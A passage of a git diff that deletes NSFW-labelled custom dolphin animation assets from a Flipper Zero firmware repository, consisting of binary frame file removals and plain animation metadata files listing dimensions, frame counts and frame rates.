a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_7.bm deleted file mode 100644 index 9b54464d9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm deleted file mode 100644 index c607170bb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm deleted file mode 100644 index 3c7b70998..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt deleted file mode 100644 index 70d1fd018..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 31 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm deleted file mode 100644 index 420ee7376..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm deleted file mode 100644 index 6b10b7fbe..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm deleted file mode 100644 index d9defe1cb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_11.bm deleted file mode 100644 index 52b284969..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm deleted file mode 100644 index 52e7722a0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_13.bm deleted file mode 100644 index e90233342..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_14.bm deleted file mode 100644 index 57723112f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm deleted file mode 100644 index 6ed83b3ad..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm deleted file mode 100644 index f1b6b32ec..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_17.bm deleted file mode 100644 index 158810f06..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm deleted file mode 100644 index c6eac5abe..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_19.bm deleted file mode 100644 index 39b209140..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm deleted file mode 100644 index 67958b7db..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm deleted file mode 100644 index 789f27738..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_21.bm deleted file mode 100644 index a0b4d3cf7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_22.bm deleted file mode 100644 index e37a42201..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm deleted file mode 100644 index 2162cf14d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm deleted file mode 100644 index 8cdce5515..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm deleted file mode 100644 index e01e4fabb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm deleted file mode 100644 index 8f5fa633c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm deleted file mode 100644 index 859d8d707..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm deleted file mode 100644 index cdb6c331e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm deleted file mode 100644 index a82c79a17..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_5.bm deleted file mode 100644 index c0757262c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_6.bm deleted file mode 100644 index 6cc36ec9b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm deleted file mode 100644 index 8fc70c65b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_8.bm deleted file mode 100644 index bb3fb78b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_9.bm deleted file mode 100644 index 2ee35b135..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt deleted file mode 100644 index 0da985c7f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 7 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm deleted file mode 100644 index f042ce9ca..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm deleted file mode 100644 index 5ff464577..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm deleted file mode 100644 index 729c6228d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm deleted file mode 100644 index dddda1548..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_12.bm deleted file mode 100644 index b1652029a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_13.bm deleted file mode 100644 index 03ca53c59..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm deleted file mode 100644 index 142412a4a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_15.bm deleted file mode 100644 index 8ff6f4e71..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm deleted file mode 100644 index 46ed13a95..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_17.bm deleted file mode 100644 index fca340dd1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_18.bm deleted file mode 100644 index 54b778d2a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm deleted file mode 100644 index 722cf1a66..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm deleted file mode 100644 index 21a4d2256..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm deleted file mode 100644 index 25345bd46..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_21.bm deleted file mode 100644 index 14828a3b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_22.bm deleted file mode 100644 index f57a2b42b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm deleted file mode 100644 index 2dcc06831..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm deleted file mode 100644 index b7d4cc216..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm deleted file mode 100644 index 1916b7be6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm deleted file mode 100644 index ffe090293..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm deleted file mode 100644 index 96f532be5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm deleted file mode 100644 index b535cc304..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_29.bm deleted file mode 100644 index 762d2e5fd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_3.bm deleted file mode 100644 index 7b202c254..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_30.bm deleted file mode 100644 index 75d308bda..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm deleted file mode 100644 index 997b9984f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm deleted file mode 100644 index 0eed9b176..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm deleted file mode 100644 index a4fc4a1b7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm deleted file mode 100644 index f1b771e92..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm deleted file mode 100644 index 018aa4e48..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_36.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_36.bm deleted file mode 100644 index 01cbd4d46..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm deleted file mode 100644 index 92c1ff04f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm deleted file mode 100644 index 4f49f4c80..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_39.bm deleted file mode 100644 index 6ac44d903..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_4.bm deleted file mode 100644 index ff9403591..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm deleted file mode 100644 index 2712a719c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm deleted file mode 100644 index 002963d90..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_42.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_42.bm deleted file mode 100644 index 956d4c3c8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_42.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_43.bm deleted file mode 100644 index 6b95f7965..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_43.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm deleted file mode 100644 index 21333bfdf..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_44.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm deleted file mode 100644 index 04c2dd4ea..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_45.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm deleted file mode 100644 index 5bf6ebc5b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_46.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm deleted file mode 100644 index dc06109b2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_47.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_48.bm deleted file mode 100644 index ffae77705..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_48.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm deleted file mode 100644 index 42c3cf621..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_49.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm deleted file mode 100644 index 971757ee1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_6.bm deleted file mode 100644 index 75f7aa503..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_7.bm deleted file mode 100644 index e481af6bd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm deleted file mode 100644 index 0f21f236c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_9.bm deleted file mode 100644 index b0cbefc46..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt deleted file mode 100644 index 4dccc40b3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 50 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm deleted file mode 100644 index 47633878d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm deleted file mode 100644 index 13d322cfe..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_10.bm deleted file mode 100644 index ec3503632..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm deleted file mode 100644 index c68757144..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm deleted file mode 100644 index 92368c1e0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_13.bm deleted file mode 100644 index 207b31ba3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_14.bm deleted file mode 100644 index 37e7c67e4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm deleted file mode 100644 index c14ff0222..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm deleted file mode 100644 index 3bc267225..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_3.bm deleted file mode 100644 index aa8a9ce58..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_12/frame_4.bm 